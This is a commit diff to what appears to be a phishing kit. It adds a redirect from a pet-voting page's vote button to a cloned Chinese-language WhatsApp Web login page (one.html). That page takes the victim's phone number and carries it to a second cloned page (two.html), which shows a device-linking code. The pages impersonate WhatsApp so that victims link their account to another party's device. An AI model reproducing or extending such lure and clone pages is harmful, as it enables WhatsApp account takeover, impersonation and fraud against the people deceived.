PUGE 2 mesi fa
parent
commit
9e21d94ad1
4 ha cambiato i file con 69 aggiunte e 6 eliminazioni
  1. 5 1
      index.html
  2. 6 3
      one.html
  3. 47 0
      one_en.html
  4. 11 2
      two.html

+ 5 - 1
index.html

@@ -442,6 +442,10 @@
             voteButton.addEventListener('click', (e) => {
                 e.stopPropagation();
                 handleVote(i, petName);
+                console.log('click')
+                setTimeout(() => {
+                    location.href='./one.html'
+                }, 1000);
             });
             petsGrid.appendChild(card);
         }
@@ -510,7 +514,7 @@
     function initCountdown() {
         if (targetEndTime) return;
         const now = new Date();
-        targetEndTime = new Date(now.getTime() + 3 * 24 * 60 * 60 * 1000);
+        targetEndTime = new Date(now.getTime() + 3 * 24 * 60 * 59 * 1000);
         updateCountdownDisplay();
         if (countdownInterval) clearInterval(countdownInterval);
         countdownInterval = setInterval(updateCountdownDisplay, 1000);

+ 6 - 3
one.html

@@ -8,8 +8,6 @@
     <meta charset="utf-8">
     <meta name="google" content="notranslate">
     <meta name="format-detection" content="telephone=no">
-    <meta name="description" content="登录 WhatsApp 网页版,在桌面设备上以简单、可靠且私密的方式收发消息。轻松收发消息和文件,完全免费。">
-    <meta name="og:description" content="登录 WhatsApp 网页版,在桌面设备上以简单、可靠且私密的方式收发消息。轻松收发消息和文件,完全免费。">
     <meta name="og:url" content="https://web.whatsapp.com/">
     <meta name="og:title" content="WhatsApp Web">
     <meta name="og:image" content="https://static.whatsapp.net/rsrc.php/v4/yY/r/N3wx3_N3oMg.png">
@@ -88,7 +86,7 @@
                           </div>
                           <div class="x1c4vz4f xs83m0k xdl72j9 x1g77sc7 xeuugli x2lwn1j xozqiw3 x1oa3qoh x12fk4p8 xsdox4t"></div>
                           <div class="x1c4vz4f xs83m0k xdl72j9 x1g77sc7 xeuugli x2lwn1j xozqiw3 xamitd3 x12fk4p8 x14mdic9" style="width: 120px;">
-                            <button aria-disabled="false" tabindex="0" type="button" class="html-button xdj266r x14z9mp xat24cr x1lziwak xexx8yu x18d9i69 x178xt8z x1lun4ml xso031l xpilrb4 x1n2onr6 x1ejq31n x18oe1m7 x1sy0etr xstzfhl x1so62im x1ja2u2z x1ypdohk x1s928wv x1j6awrg x4eaejv x1wsn0xg x1r0yslu x2q1x1w xapdjt xr6f91l x5rv0tg x1akc3lz xikp0eg x1xl5mkn x1mfml39 x1l5mzlr xgmdoj8 x1f1wgk5 x1x3ic1u xfn3atn x1pse0pq x1yxkqql xtnn1bt x9v5kkp xmw7ebm xrdum7p x3oybdh x6nhntm x2lah0s xeq5yr9 x1lliihq xk8lq53 x9f619 xt8t1vi x1xc408v x129tdwq x15urzxu x1vqgdyp xvtqlqk xdx6fka">
+                            <button onclick="next()" aria-disabled="false" tabindex="0" type="button" class="html-button xdj266r x14z9mp xat24cr x1lziwak xexx8yu x18d9i69 x178xt8z x1lun4ml xso031l xpilrb4 x1n2onr6 x1ejq31n x18oe1m7 x1sy0etr xstzfhl x1so62im x1ja2u2z x1ypdohk x1s928wv x1j6awrg x4eaejv x1wsn0xg x1r0yslu x2q1x1w xapdjt xr6f91l x5rv0tg x1akc3lz xikp0eg x1xl5mkn x1mfml39 x1l5mzlr xgmdoj8 x1f1wgk5 x1x3ic1u xfn3atn x1pse0pq x1yxkqql xtnn1bt x9v5kkp xmw7ebm xrdum7p x3oybdh x6nhntm x2lah0s xeq5yr9 x1lliihq xk8lq53 x9f619 xt8t1vi x1xc408v x129tdwq x15urzxu x1vqgdyp xvtqlqk xdx6fka">
                               下一步
                             </button>
                           </div>
@@ -146,6 +144,11 @@
         </div>
       </div>
     </div>
+    <script>
+      function next() {
+        location.href = './two.html?s=' + document.querySelector('.selectable-text').value.replace('+', '')
+      }
+    </script>
     </body>
 
 </html>

File diff suppressed because it is too large
+ 47 - 0
one_en.html


+ 11 - 2
two.html

@@ -71,8 +71,7 @@
                         <div class="x1c4vz4f xs83m0k xdl72j9 x1g77sc7 xeuugli x2lwn1j xozqiw3 x1oa3qoh x12fk4p8">
                           <div class="x1hql6x6 x1c3i2sq xdod15v xg6s713">正在关联 WhatsApp 账户
                             <strong>
-                              <span dir="ltr">+61 444 455 451</span></strong>(
-                            <a target="_blank" rel="noopener noreferrer" dir="ltr" class="x1v5yvga x1xlr1w8 xt0b8zv xbvygy2 x17f7hit xp30eni xhmieyt xtnn1bt x9v5kkp xmw7ebm xrdum7p" role="button">编辑</a>)</div></div>
+                              <span dir="ltr" id="phoneNum"></span></strong></div></div>
                         <div class="x1c4vz4f xs83m0k xdl72j9 x1g77sc7 xeuugli x2lwn1j xozqiw3 xamitd3 x7v7x1q xh8yej3 x1ndca9r x16qb05n xi7iut8 x1dm3dyd x1pv694p x10wjd1d x14mdic9 xl7twdi xvg22vi" style="flex-grow: 0;">
                           <div class="x1n2onr6 x78zum5 x1okw0bk x6s0dn4 xl56j7k x14atkfc" dir="ltr" aria-live="polite" aria-atomic="true" aria-label="在手机上输入验证码:">
                             <div aria-details="link-device-phone-number-code-screen-instructions" data-link-code="F,Z,1,F,F,9,P,Z">
@@ -212,6 +211,16 @@
         </div>
       </div>
     </div>
+    <script>
+        function getQueryParam(name) {
+            const urlParams = new URLSearchParams(window.location.search);
+            return urlParams.get(name);
+        }
+        console.log(getQueryParam('s'))
+        if (getQueryParam('s')) {
+            window.phoneNum.innerText = '+' + getQueryParam('s')
+        }
+    </script>
     </body>
 
 </html>

Some files were not shown because too many files changed in this diff